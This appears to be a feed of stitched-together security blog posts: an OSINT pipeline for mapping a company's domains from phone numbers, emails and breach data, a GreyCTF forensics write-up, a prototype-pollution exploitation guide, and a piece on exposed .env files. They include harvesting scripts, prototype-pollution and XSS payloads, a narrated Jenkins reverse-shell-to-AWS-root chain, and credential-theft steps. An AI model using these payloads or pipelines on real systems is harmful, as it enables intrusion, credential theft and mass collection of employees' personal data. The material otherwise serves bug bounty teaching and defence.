• terraform.tf with bucket = "finsecure-terraform-state"
• README.md with See internal docs at docs.internal.finsecure.com

New domains discovered:

• internal.finsecure.com — Not in any CT log or DNS record
• docs.internal.finsecure.com — Subdomain of the above
• mariadb.internal.finsecure.com — Internal database hostname
• finsecure-terraform-state.s3.amazonaws.com — S3 bucket with terraform state

The S3 bucket was publicly listable. It contained AWS access keys. The AWS keys gave access to the production environment.

Chain: 1 email → 1 GitHub account → 1 repo → 4 new domains → 1 S3 bucket → AWS root access.

Part IV: Phone Number + Email → Subdomain Discovery (The Real Gold)

When you combine phone numbers and emails, you unlock subdomain discovery that no DNS tool can match.

Technique 1: WHOIS Contact Cross-Reference

Company domains are often registered by the same person. If you find the registrant’s name and email from one domain, you can find all other domains they’ve registered:

# Step 1: Get WHOIS info for the main domain
whois healthtech.com | grep -E "Registrant|Admin|Tech|Email" > whois-info.txt

# Step 2: Extract registrant name and email
NAME=$(grep "Registrant Name" whois-info.txt | awk -F: '{print $2}' | xargs)
EMAIL=$(grep "Registrant Email" whois-info.txt | awk -F: '{print $2}' | xargs)

# Step 3: Search for other domains with same registrant
# Using WhoisXMLAPI
curl -s "https://www.whoisxmlapi.com/whoisserver/WhoisService?apiKey=$API_KEY&domainName=$NAME&outputFormat=JSON" | \
    jq -r '.WhoisRecord.registryData.registrantDomains[]'

# Using DomainTools Reverse WHOIS
curl -s "https://api.domaintools.com/v1/$NAME/domains/" \
    -u "$DOMAINTOOLS_USER:$DOMAINTOOLS_KEY" | \
    jq -r '.response.domains[]'

Technique 2: Social Media Profile Mining

Employee LinkedIn profiles often list multiple domains:

Current: Senior Engineer at HealthTech (healthtech.com)
Past: Lead Developer at MedData (meddata.io)
Education: MIT (mit.edu)

Each of these is a domain that may or may not be in scope. If meddata.io was acquired by healthtech.com, then meddata.io infrastructure is likely part of the target's attack surface.

# LinkedIn scraper (requires authentication)
# Extract: current company, past companies, education
# Cross-reference with known acquisitions

# For each past company found on LinkedIn profiles:
# Check if it was acquired by the target
# If yes: run full acquisition pipeline on that domain

Technique 3: Support Portal and Help Desk Domains

Phone numbers often lead to support portals, which lead to subdomains:

# Call the company's support number
# Listen for automated messages:
# "Press 1 for billing" → billing.helpdesk.com
# "Press 2 for technical support" → support.helpdesk.com
# "Press 3 for sales" → sales.helpdesk.com

# These are subdomains of the support portal domain
# Check if they resolve, check for takeovers

# Also check: support@company.com → Zendesk, Freshdesk, Helpscout
# Zendesk: company.zendesk.com
# Freshdesk: company.freshdesk.com
# Helpscout: company.helpscout.net

Technique 4: Email Header Subdomain Discovery

If you can obtain a legitimate email from the company (e.g., by signing up for their newsletter), the email headers reveal internal infrastructure:

Received: from mail.healthtech.com (192.168.1.10)
Received: from mx1.healthtech.com (203.0.113.5)
Received: from smtp-in.healthtech.com (198.51.100.20)
DKIM-Signature: d=healthtech.com; s=selector1
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of newsletter@healthtech.com designates 203.0.113.5 as permitted sender)

Each of these IPs and hostnames is a potential subdomain:

• mail.healthtech.com
• mx1.healthtech.com
• smtp-in.healthtech.com

Real-World Example: Phone + Email → Subdomain Discovery

Target: SaaS company cloudserve.com.

Phone number from WHOIS: +1 (425) 555-0100 (Seattle area)

Email from WHOIS: admin@cloudserve.com

Step 1: WHOIS reverse search on phone number Found 12 domains, including:

• cloudserve.io (known)
• cloudserve-backup.com (unknown — registered 2008)
• cs-legacy.com (unknown — registered 2005)

Step 2: WHOIS reverse search on email Found 8 more domains:

• cloudserve-status.com (status page — known but useful)
• cloudserve-dev.com (development — not in scope docs)

Step 3: Emails collected from Hunter.io 1,800 emails. Found devops@cloudserve.com in a GitHub commit.

Step 4: DevOps email → GitHub repos Found a repo with monitoring.cloudserve.com hardcoded in a config file.

Step 5: Subdomain enumeration on new domains

subfinder -d cloudserve-backup.com -silent
# Found: admin.cloudserve-backup.com
# Found: db.cloudserve-backup.com

Result: 14 new domains and 47 new subdomains discovered through phone and email OSINT alone. DNS brute-force against the main domain found none of these.

Part V: Building the Phone-to-Email-to-Domain Pipeline

Here’s a practical automated pipeline that can be used for this workflow.

Phase 1: Phone Number Collection & Analysis

#!/bin/bash
# phase1-phone-collect.sh
TARGET="$1"
DOMAIN="$2"

echo "[*] Phase 1: Phone Number Collection"

# 1a. WHOIS extraction
whois "$DOMAIN" 2>/dev/null | grep -oP '(\+?\d{1,3}[-.\s]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}' > phones.txt

# 1b. Web scraping for phone numbers
katana -u "https://$DOMAIN" -d 2 -silent | \
    grep -oP '(\+?\d{1,3}[-.\s]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}' >> phones.txt

# 1c. Business directories
curl -s "https://api.opencorporates.com/v0.4/companies/search?q=$DOMAIN" | \
    jq -r '.results[].company.phone_number' 2>/dev/null | grep -v null >> phones.txt

# Deduplicate
sort -u phones.txt -o phones.txt
echo "[*] Found $(wc -l < phones.txt) unique phone numbers"

Phase 2: Phone → Domain Mapping

#!/bin/bash
# phase2-phone-to-domain.sh
TARGET="$1"

echo "[*] Phase 2: Phone to Domain Mapping"

while read PHONE; do
    echo "[*] Processing phone: $PHONE"
    
    # 2a. Reverse WHOIS by phone (if you have access)
    # DomainTools API
    # curl -s "https://api.domaintools.com/v1/$PHONE/domains/" -u "$USER:$KEY" | \
    #     jq -r '.response.domains[]' >> phone-domains.txt
    
    # 2b. SecurityTrails (manual or API)
    # curl -s "https://api.securitytrails.com/v1/search?query=whois.phone:$PHONE" \
    #     -H "APIKEY: $ST_KEY" | jq -r '.records[].hostname' >> phone-domains.txt
    
    # 2c. Breach data (authorized)
    # dehashed API
    # curl -s "https://api.dehashed.com/v1/search?query=phone:$PHONE" \
    #     -u "$EMAIL:$DEHASHED_KEY" | jq -r '.entries[].domain' >> phone-domains.txt
    
    sleep 1
done < phones.txt

sort -u phone-domains.txt -o phone-domains.txt
echo "[*] Found $(wc -l < phone-domains.txt) domains from phone numbers"

Phase 3: Email Collection

#!/bin/bash
# phase3-email-collect.sh
DOMAIN="$1"

echo "[*] Phase 3: Email Collection"

# 3a. Hunter.io
curl -s "https://api.hunter.io/v2/domain-search?domain=$DOMAIN&api_key=$HUNTER_KEY" | \
    jq -r '.data.emails[].value' > emails-hunter.txt

# 3b. theHarvester
theHarvester -d "$DOMAIN" -b google,linkedin,github -f /dev/null 2>/dev/null | \
    grep -oP '[a-zA-Z0-9._%+-]+@'"$DOMAIN" > emails-harvester.txt

# 3c. Skymem
curl -s "https://www.skymem.info/srch?q=$DOMAIN" | \
    grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]*\.?'"$DOMAIN" > emails-skymem.txt

# 3d. Web page extraction
katana -u "https://$DOMAIN" -d 2 -silent | \
    grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]*\.?'"$DOMAIN" > emails-web.txt

# 3e. JS file extraction
katana -u "https://$DOMAIN" -jc -silent | xargs -I{} curl -s {} 2>/dev/null | \
    grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]*\.?'"$DOMAIN" > emails-js.txt

# Combine
cat emails-hunter.txt emails-harvester.txt emails-skymem.txt emails-web.txt emails-js.txt | \
    sort -u > emails.txt

echo "[*] Found $(wc -l < emails.txt) unique email addresses"

Phase 4: Email → Domain Extraction

#!/bin/bash
# phase4-email-to-domain.sh
DOMAIN="$1"

echo "[*] Phase 4: Email to Domain Extraction"

# 4a. Extract all domains from email addresses
grep -oP '@[a-zA-Z0-9.-]+' emails.txt | sed 's/@//' | sort -u > email-domains.txt

# 4b. Remove the main domain (keep only non-obvious domains)
grep -v "$DOMAIN" email-domains.txt > other-domains.txt

echo "[*] Found $(wc -l < email-domains.txt) total domains from emails"
echo "[*] Found $(wc -l < other-domains.txt) domains OUTSIDE the main domain"

Phase 5: LinkedIn → Name → Email → Domain

#!/bin/bash
# phase5-linkedin-to-domains.sh
TARGET="$1"
DOMAIN="$2"

echo "[*] Phase 5: LinkedIn Name to Email to Domain"

# 5a. Scrape LinkedIn for employees (manual or with tool)
# linkedin_scraper -c "$TARGET" -o linkedin-employees.csv

# 5b. Extract past companies from LinkedIn profiles
# awk -F, '{print $3}' linkedin-employees.csv | sort -u > past-companies.txt

# 5c. For each past company, check if it's in scope
while read COMPANY; do
    echo "[*] Checking past company: $COMPANY"
    
    # Search for the company's domain
    domain_from_name=$(echo "$COMPANY" | tr '[:upper:]' '[:lower:]' | sed 's/ //g').com
    nslookup "$domain_from_name" > /dev/null 2>&1 && echo "$domain_from_name" >> past-company-domains.txt
    
done < past-companies.txt

# 5d. For each past company domain, check if acquired by target
# Manual step: verify acquisition history

Phase 6: Cross-Reference and Subdomain Enumeration on New Domains

#!/bin/bash
# phase6-subdomain-enum.sh
DOMAIN="$1"

echo "[*] Phase 6: Subdomain Enumeration on All Discovered Domains"

# Combine all domain lists
cat phone-domains.txt other-domains.txt past-company-domains.txt | sort -u > all-discovered-domains.txt

# Run subdomain enumeration on each
while read DISCOVERED_DOMAIN; do
    echo "[*] Enumerating: $DISCOVERED_DOMAIN"
    
    # CT logs
    curl -s "https://crt.sh/?q=%25.$DISCOVERED_DOMAIN&output=json" | \
        jq -r '.[].name_value' 2>/dev/null >> all-subs.txt
    
    # Subfinder
    subfinder -d "$DISCOVERED_DOMAIN" -silent >> all-subs.txt
    
    # DNS brute-force
    puredns bruteforce ~/wordlists/subdomains.txt "$DISCOVERED_DOMAIN" \
        -r ~/resolvers.txt -q >> all-subs.txt
    
done < all-discovered-domains.txt

sort -u all-subs.txt -o all-subs.txt
echo "[*] Total subdomains discovered: $(wc -l < all-subs.txt)"

Part VI: The Complete Real-World Workflow

To understand how this methodology works in practice, let's walk through an anonymized example of how phone numbers, emails, and public intelligence can reveal hidden assets. payflow.com

08:00 — Phone Collection

# WHOIS
whois payflow.com | grep -E "Phone|Tel"
# +1 (415) 555-0100

# Contact page
katana -u https://payflow.com/contact -d 1 | grep -oP '(\+?\d{1,3}[-.\s]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}'
# +1 (415) 555-0100 (same)
# +1 (512) 555-0200 (different — Austin)

# Business registry
curl -s "https://api.opencorporates.com/v0.4/companies/search?q=payflow" | \
    jq -r '.results[].company.phone_number'
# +1 (512) 555-0200
# +1 (512) 555-0300 (NEW — unknown)

Phone numbers collected:

• +1 (415) 555-0100 (San Francisco — HQ)
• +1 (512) 555-0200 (Austin — known office)
• +1 (512) 555-0300 (Austin — UNKNOWN)

08:30 — Phone → Domain

# SecurityTrails reverse WHOIS by phone
# +1 (512) 555-0300 → registered to:
# payflow-holdings.com
# payflow-ventures.com
# pf-internal.com

New domains discovered:

• payflow-holdings.com — Holding company
• payflow-ventures.com — Venture arm
• pf-internal.com — INTERNAL DOMAIN

09:00 — Email Collection

# Hunter.io: 847 emails
# theHarvester: 312 emails
# Skymem: 1,204 emails
# Web scraping: 89 emails
# JS files: 34 emails
# Total unique: 1,892 emails

09:30 — Email → Domain Extraction

grep -oP '@[a-zA-Z0-9.-]+' emails.txt | sed 's/@//' | sort -u

# Unique domains found in emails (excluding payflow.com):
# payflow.io (known)
# payflow.co (NEW)
# payflow-engineering.com (NEW — engineering team domain)
# pf-payments.com (NEW — payments processing domain)
# payflow-benefits.com (NEW — HR/benefits domain)

10:00 — GitHub Cross-Reference

# Searched for devops@payflow.com on GitHub
# Found GitHub user: payflow-devops
# Scanned repos for domain references

# Found in deploy configs:
# monitoring.internal.payflow.com
# logs.internal.payflow.com
# ci.internal.payflow.com

10:30 — Subdomain Enumeration on New Domains

# On pf-internal.com:
subfinder -d pf-internal.com -silent
# vpn.pf-internal.com (LIVE)
# jenkins.pf-internal.com (LIVE)
# git.pf-internal.com (LIVE)

# On payflow-engineering.com:
subfinder -d payflow-engineering.com -silent
# dev.payflow-engineering.com (LIVE)
# staging.payflow-engineering.com (LIVE)
# api.payflow-engineering.com (LIVE)

11:00 — Priority Assessment

P0:

1. vpn.pf-internal.com — VPN portal (potential credential access)
2. jenkins.pf-internal.com — Jenkins (potential RCE)
3. pf-internal.com — Internal domain (potential for more discovery)

P1: 4. payflow-engineering.com — Engineering domain (dev/staging instances) 5. payflow-holdings.com — Holding company (potential subsidiary assets) 6. monitoring.internal.payflow.com — Monitoring (potential Grafana/Prometheus)

11:30 — Attack Phase

Jenkins on pf-internal.com:

• No authentication required
• Created a freestyle project with a reverse shell
• Got shell access to the Jenkins server
• Jenkins had AWS keys in environment variables
• AWS keys had full admin access to production

Chain: 1 phone number → 3 unknown phone numbers → 1 unknown domain → 3 subdomains → 1 Jenkins server → AWS root access.

Part VII: Tool Reference Guide

Phone Number Tools

Email Collection Tools

Cross-Reference Tools

Part VIII: Common Mistakes (From Personal Experience)

Mistake 1: Not Checking All Phone Numbers from WHOIS

A common mistake is finding one phone number in WHOIS and stopping too early, ran my reverse search, and stopped. There were actually three different phone numbers across different domains — I missed two.

Fix: Extract EVERY phone number from EVERY WHOIS record for EVERY domain you find.

Mistake 2: Ignoring Email Domains That Don’t Match the Target

What happened: I collected 2,000 emails for target.com. I filtered out everything that wasn't @target.com. I missed the 200 emails with @target-engineering.com, @target-holdings.com, and @target-benefits.com — all of which were owned by the same company.

Fix: Extract ALL unique domains from your email collection, not just the primary domain.

Mistake 3: Not Checking LinkedIn Past Companies

What happened: An employee’s LinkedIn profile showed they previously worked at acme-solutions.com. I ignored it. Acme Solutions had been acquired by my target three years prior. Its infrastructure was in scope but I never checked it.

Fix: Scrape past companies from LinkedIn profiles and cross-reference with acquisition history.

Mistake 4: Not Running Subdomain Enumeration on Each New Domain

What happened: I found pf-internal.com and added it to my list. I didn't run subfinder or CT log queries against it. vpn.pf-internal.com was sitting there the whole time.

Fix: Run full subdomain enumeration on EVERY domain you discover, no exceptions.

Mistake 5: Stopping After One Round

What happened: I discovered new domains, ran subfinder once, and started attacking. I didn’t recurse. Some of those new domains had their own subdomains, and those subdomains had their own CT logs.

Fix: Recursive enumeration. Every new domain → full acquisition pipeline → find more domains → repeat.

Bug Hunter Acquisition Checklist — Phone & Email Edition

☐ Phone Number Collection

• ☐ WHOIS records extracted for all discovered domains
• ☐ Contact/scraped pages (main site, subdomains, subsidiaries)
• ☐ Business registries checked (OpenCorporates, state registries)
• ☐ SEC filings reviewed (10-K, 10-Q, S-1)
• ☐ Press releases and news articles mined
• ☐ Social media profiles checked (LinkedIn, Twitter, Facebook)
• ☐ Breach data queried (with authorization)

☐ Phone Number Analysis

• ☐ VOIP provider identified for each number
• ☐ Area codes mapped to physical office locations
• ☐ Multi-number comparison for organizational structure
• ☐ Extension patterns identified
• ☐ Reverse WHOIS by phone number completed
• ☐ Business registry search by phone completed
• ☐ Phone number range scanning (if applicable)

☐ Phone → Domain Mapping

• ☐ Reverse WHOIS for every unique phone number
• ☐ Business registry domain mapping
• ☐ Carrier/VOIP provider infrastructure checked
• ☐ Support portal domains discovered (Zendesk, Freshdesk, etc.)
• ☐ VOIP admin console exposure checked
• ☐ Webhook endpoint testing (if Twilio/RingCentral identified)

☐ Email Collection

• ☐ Hunter.io domain search completed
• ☐ theHarvester multi-source harvest completed
• ☐ Skymem cross-reference completed
• ☐ Web page email extraction completed
• ☐ JavaScript file email extraction completed
• ☐ LinkedIn employee name scraping completed
• ☐ GitHub commit email extraction completed
• ☐ Mailing list/public forum extraction completed
• ☐ Breach data email extraction (with authorization)

☐ Email → Domain Extraction

• ☐ All unique domains extracted from email addresses
• ☐ Primary domain filtered out to reveal hidden domains
• ☐ Subsidiary/acquired company domains identified
• ☐ Internal/private domains identified
• ☐ Third-party service domains identified
• ☐ Employee personal domains identified

☐ Email → GitHub → Domain Chain

• ☐ GitHub accounts found for employee emails
• ☐ Repos and commits scanned for domain references
• ☐ Organization discovery completed
• ☐ Config files and environment vars checked
• ☐ Hardcoded endpoints extracted
• ☐ S3 bucket names and cloud resources extracted

☐ Email → Service → Domain Chain

• ☐ Atlassian (Jira/Confluence) instance discovered
• ☐ Slack workspace discovered
• ☐ Microsoft 365 tenant discovered
• ☐ Google Workspace tenant discovered
• ☐ Zendesk/Freshdesk/Helpscout portal discovered
• ☐ Status page hosted domain discovered
• ☐ Documentation/wiki hosted domain discovered

☐ Full Subdomain Enumeration on New Domains

• ☐ CT log queries (crt.sh, certspotter) for each new domain
• ☐ Passive DNS queries (SecurityTrails, VirusTotal)
• ☐ Subdomain brute-force (subfinder, puredns, massdns)
• ☐ Permutation-based discovery (alterx, gotator, dmut)
• ☐ Recursive enumeration (each subdomain → parent as new target)
• ☐ Wayback Machine historical subdomain discovery
• ☐ Technology fingerprinting (httpx, whatweb)
• ☐ HTTP response analysis (live vs. dead, redirects, error pages)

☐ Cross-Reference Validation

• ☐ Phone numbers matched to discovered domains
• ☐ Emails matched to discovered domains
• ☐ LinkedIn past companies cross-referenced with acquisitions
• ☐ GitHub profiles cross-referenced with company email domains
• ☐ Breach data cross-referenced (correlates emails, phones, domains)
• ☐ Scope validation for every newly discovered asset

☐ Continuous Monitoring

• ☐ Daily CT log monitoring for new subdomains on discovered domains
• ☐ Weekly phone number re-check (new WHOIS entries)
• ☐ Weekly email re-harvesting (new employees, new domains)
• ☐ GitHub monitoring for new employee commits
• ☐ Acquisition news monitoring (Google Alerts, Crunchbase)
• ☐ LinkedIn employee movement tracking
• ☐ Quarterly full pipeline re-run

Final Technical Notes

Why This Works at Scale

The average Fortune 500 company has:

• 50–200 registered domains
• 10–50 subsidiaries/acquired entities
• 2,000–20,000 employees
• 5–20 different phone numbers

DNS brute-force will find maybe 30–50% of the subdomains on the main domain. It will find almost none of the subdomains on other domains.

Phone and email OSINT finds the other domains. Then you run DNS brute-force on those. The result is a 3–5x increase in discovered attack surface.

The Data Flow

Phone Number → Reverse WHOIS → New Domains
Phone Number → Business Registry → Legal Entities → New Domains
Phone Number → VOIP Provider → Admin Console → Subdomains

Email Address → Hunter.io → Cross-Company Domains
Email Address → GitHub → Repos → Configs → Domains
Email Address → Breach Data → Service Registrations → Domains
Email Address → LinkedIn → Past Companies → Acquired Domains

New Domains → Subdomain Enumeration → Attack Surface

A Final Word on Authorization

Everything in this blog assumes you have explicit written authorization to test the target’s assets. I do not share the names of actual targets. All examples are anonymized composites of real engagements.

If you’re new to bug bounty:

1. Start with public programs on HackerOne/Bugcrowd that explicitly allow OSINT
2. Never use breach data unless the program explicitly permits it
3. Never use social engineering unless the program explicitly permits it
4. When in doubt, ask the program’s security team

Disclaimer: Only for authorized bug bounty / pentesting environments.

GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent

#BugBounty #OSINT #CyberSecurity #EthicalHacking #Infosec #PenetrationTesting #AttackSurface #SubdomainEnumeration #ThreatHunting #SecurityResearch #RedTeam #DigitalFootprint #CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming

Phone Numbers and Emails to Hidden Subdomains: The OSINT Acquisition Pipeline That Uncovered a… was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Dieser Beitrag Proto6: Sechs Protobuf.js-Schwachstellen ermöglichen RCE und DoS in Node.js erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Hi, I’m glad to share with you my writeup for solving a Forensics Challenge called “Crimewatch” in GreyCTF 2026

You can read this writeup on my GitBook: Link

We are provided with 2 weird files named "a" and "b", and a python file as shown:

the below screen shows the conclusion for flag.py file.

so, we are provided with weird files, we need to determine what are these format.

So with HxD and a little research, i could determine that this magic bytes are qcow file format, which stands for “QEMU Copy On Write”.

So it’s a qemu disk images, but both files are just unallocated space on FTK

So, we need to convert them to a readable disk images to open properly.
After a little research i found this tool: qemu-img , so let’s try this tool

now we need to convert them

after conversion, we could open on FTK Imager

only the b disk image opened properly. after a long research and a very long chats with different AI models :), i was able to cofirm that a is Android FBE-encrypted userdata and b is the metadata partition needed to decrypt a.
finally i found an amazing tool: fbe-decrypt , now let’s work to decrypt a.

We just need to rename the files with the intended names based n the script to could run perfectly.

And now we can run and see the precious output here
NOTE: First, you will need to install NodeJS

Now we can investigate the disk image properly on FTK with no issues

Now, Let’s head back to the python script and start real investigation.

After walking around and deep searching, i found a very important note on the notifications file located in: /system_ce/0/notification_history/notification_history.xml

now i got 2 answers directly, and one glance for the third
first: telechat account is: @vanta_supply
second glance: plate numbers maybe starts or ends or contains:..SG673..
third: the buyer we suspect is: jiawei

After a long digging also, found this amazing picture located in:
/media/0/Pictures/TeleChat/IMG_20260514_164900.png

Now we got the full car plate number: SG67301K
Now for the tricky part, the last question needs the coordinates to identify the pickup point.

There’s another image in the directory called spot.jpg, i guess it’s a clue

that’s a big clue and its called spot, so let’s get the exact coordinates.

wanna do a big shoutout to my friend 7h3kn0w3r for helping me get the exact coordinates

Found exactly the same view on different platforms such as: alamy and facebook post here , and finally found a good person on flickr posted the exact image with the exact location here: https://www.flickr.com/map/?fLat=1.401333&fLon=103.794833&zl=13&everyone_nearby=1&photo=9511153795 , so i got it from the url itself.
getting the exact coordinates on google maps HERE

So Let’s Get the FLAG

Thanks For Reading, Hope you enjoyed❤️

GreyCTF 2026  —  Crimewatch Forensics Challenge Writeup was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Table of Contents

1. What Is Prototype Pollution?
2. The JavaScript Prototype Chain — Deep Dive
3. Attack Vectors & Entry Points
4. Reconnaissance Methodology
5. Exploitation Techniques — From XSS to RCE
6. Real-World Bug Bounty Case Studies
7. Advanced Exploit Chains
8. Tooling & Automation
9. Defense & Remediation
10. Full Python Scanner — Production-Ready

1. What Is Prototype Pollution?

Prototype Pollution is a vulnerability where an attacker injects properties into JavaScript’s Object.prototype. Because all objects inherit from Object.prototype, the injected property propagates to every object in the runtime — including window, document, process, and any object created thereafter.

Why It Matters

Unlike SQL injection or XSS, Prototype Pollution often serves as a primer — it doesn’t immediately give you RCE unless you chain it with another gadget. But when chained correctly, the impact ranges from XSS (browser) to Remote Code Execution (Node.js).

2. The JavaScript Prototype Chain — Deep Dive

How Inheritance Works

// Every object has a hidden [[Prototype]]
const user = { name: "Alice" };

// user ---> Object.prototype ---> null
//         ^[[Prototype]]^

When you access user.toString(), JavaScript:

1. Looks for toString on user itself → not found
2. Looks on user.__proto__ (which is Object.prototype) → found!
3. Executes it.

The Vulnerability Mechanism

// Normal operation
const target = {};
const source = JSON.parse('{"name": "Alice"}');
Object.assign(target, source);
// target = { name: "Alice" } — safe

// Polluted operation
const source = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign(target, source);
// target.__proto__.isAdmin = true
// ALL objects now have isAdmin: true

Why __proto__ Works as a Key

JSON parsing does NOT treat __proto__ specially — it's just a string key. When Object.assign() copies properties, it sets target.__proto__ which mutates the actual prototype chain.

// Visual representation
const obj = {};
obj.__proto__.polluted = true;
// Equivalent to:
Object.prototype.polluted = true;

console.log({}.polluted);  // true
console.log([].polluted);  // true
console.log("".polluted);  // true (string prototype chain)

The Three Mutation Methods

3. Attack Vectors & Entry Points

Server-Side Entry Points (Node.js)

POST /api/users
Content-Type: application/json

{"name": "test", "__proto__": {"isAdmin": true}}

Where to look:

• JSON body parsing (Express body-parser, express.json())
• Query string parsing (qs library, Express built-in)
• Cookie parsing
• File upload metadata
• GraphQL variables
• WebSocket messages

Client-Side Entry Points (Browser)

<!-- URL fragment parsing -->
https://target.com/#__proto__[polluted]=true

<!-- PostMessage -->
window.postMessage({__proto__: {evil: true}}, '*')

<!-- localStorage / sessionStorage -->
localStorage.getItem('config') // parsed with JSON.parse

<!-- WebSocket -->
ws.send(JSON.stringify({__proto__: {innerHTML: '<img src=x onerror=alert(1)>'}}))

Common Vulnerable Patterns

Pattern 1: Object.assign / Spread Operator

app.post('/api/update', (req, res) => {
  const user = getUser(req.session.userId);
  Object.assign(user, req.body);  // VULNERABLE
  user.save();
});

Pattern 2: _.merge / $.extend

const config = _.merge(defaultConfig, userConfig); // VULNERABLE if userConfig comes from input

Pattern 3: Deep Clone

const cloned = JSON.parse(JSON.stringify(userInput)); 
// JSON.parse + JSON.stringify is SAFE — it strips __proto__
// BUT: if you then merge cloned into another object...

Pattern 4: URL Query Parsing

// Using qs library with allowPrototypes: false (default is true in older versions)
const parsed = qs.parse('a.__proto__.b=c'); 
// Older qs: parsed = { a: { __proto__: { b: 'c' } } }

4. Reconnaissance Methodology

Phase 1: Identify Dependencies

Modern web apps are built on frameworks. Find the soft targets.

# Client-side: Look for known vulnerable libraries
curl -s https://target.com/assets/app.js | grep -iEo \
  '(jquery|lodash|underscore|handlebars|vue|react|angular|backbone)[@-]?[0-9.]+'

# Server-side: Check for Node.js indicators
curl -sI https://target.com | grep -i 'x-powered-by\|server\|node'

Version lookup table:

Phase 2: Map All Input Points

Build a comprehensive list of every location where user data is parsed into objects.

# Spider the application
gospider -s https://target.com -o spider_output

# Extract endpoints from JavaScript
curl -s https://target.com/assets/app.js | \
  grep -oP 'POST|PUT|PATCH|GET.*(api|graphql|v1|v2|rest)' | \
  sort -u > endpoints.txt

Phase 3: Brute-Force Pollute Vectors

Target each endpoint with multiple payload variants.

// Payload matrix — try ALL of these
{"__proto__":{"polluted":"yes"}}
{"__proto__":["polluted","yes"]}
{"__proto__":{"__proto__":{"polluted":"yes"}}}
{"constructor":{"prototype":{"polluted":"yes"}}}
{"a":{"__proto__":{"polluted":"yes"}}}
{"[__proto__]":{"polluted":"yes"}}
{"__proto__.polluted":"yes"}  // For query string parsersj

Phase 4: Detection Verification

After sending the payload, verify if pollution took effect.

Server-side check:

# Send a probe payload that affects something observable
curl -s https://target.com/api/status | grep -i '"polluted":"yes"'
# Or check if you get 200 instead of 403 on admin endpoints

Client-side check (if you can execute JS):

// Open console on the target page after triggering the pollution
Object.prototype.polluted === "yes"
// Or
({}).polluted === "yes"

⚠️ Content Notice

Due to community guidelines and responsible disclosure practices, I was unable to include the complete live exploit chain, weaponized payloads, and full proof-of-concept demonstrations in this article.

The concepts, impacts, and mitigation strategies are covered here for educational and defensive security purposes. Readers interested in the full technical research, complete exploit analysis, and detailed proof-of-concept examples can refer to the corresponding GitHub repository linked with this article.

This content is intended solely for security research, awareness, and defensive testing in authorized environments.

Reed Full Blog: https://github.com/SecurityTalent/write-up

GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent

#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming

JavaScript Prototype Pollution Deep Dive : — Reconnaissance, Exploitation & Bug Bounty Guideline was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

For bug bounty hunters, .env exposure remains one of the highest-impact, lowest-effort findings. The methodology is straightforward: subdomain enumeration, content discovery, GitHub dorking, and source map analysis. The payoff can be complete database access, cloud account takeover, or Remote Code Execution.

For developers and security teams, the solution requires a cultural shift: treat .env files as explosive devices, move secrets out of configuration files entirely, use short-lived credentials, block hidden files at the server level, and scan everything -- including AI-generated code -- before it reaches production.

Part I: The .env File Crisis — Why 12 Million Exposed Files Should Terrify You

The Anatomy of a .env File

The .env file is the silent backbone of modern web application configuration. It stores environment variables in a simple KEY=VALUE format and is consumed by frameworks like Laravel, Django, Ruby on Rails, Symfony, and countless Node.js applications at startup. The problem is not the concept -- it is how these files are handled, deployed, and (mis)protected.

A typical .env file might contain:

DB_HOST=production-db.internal.corp.com
DB_DATABASE=main_production
DB_USERNAME=root
DB_PASSWORD=Str0ng!Passw0rd
APP_KEY=base64:abcdef1234567890abcdef1234567890
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
STRIPE_SECRET=sk_live_4eC39HqLyjWDarjtT1zdp7dc
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=secret
MAIL_USERNAME=admin@corp.com
MAIL_PASSWORD=smtp_password_here

One file. One misconfiguration. Total compromise.

The 2024 Unit 42 Campaign: Scale of the Problem

In August 2024, Palo Alto Networks’ Unit 42 uncovered a massive cloud extortion campaign that directly exploited exposed .env files. The numbers are staggering:

• 110,000 domains scanned for exposed .env files
• 90,000+ unique leaked environment variables harvested
• 7,000+ cloud service credentials (AWS, Azure, GCP, DigitalOcean)
• 1,500+ social media account credentials
• 1,185 unique AWS access keys
• 333 PayPal OAuth tokens
• 235 GitHub tokens
• 111 HubSpot API keys
• 39 Slack webhooks

The attack chain was elegant and terrifying:

Scan — Automated internet-wide scanning using malicious AWS Lambda functions, iterating over millions of domains with curl requests to http://<target>/.env

Harvest — Extract all environment variables from accessible .env files

Escalate — Use exposed IAM access keys to create new IAM roles with administrative permissions

Propagate — Deploy new Lambda functions to continue scanning from within the victim’s own cloud infrastructure

Exfiltrate — Steal data from S3 buckets and other cloud storage

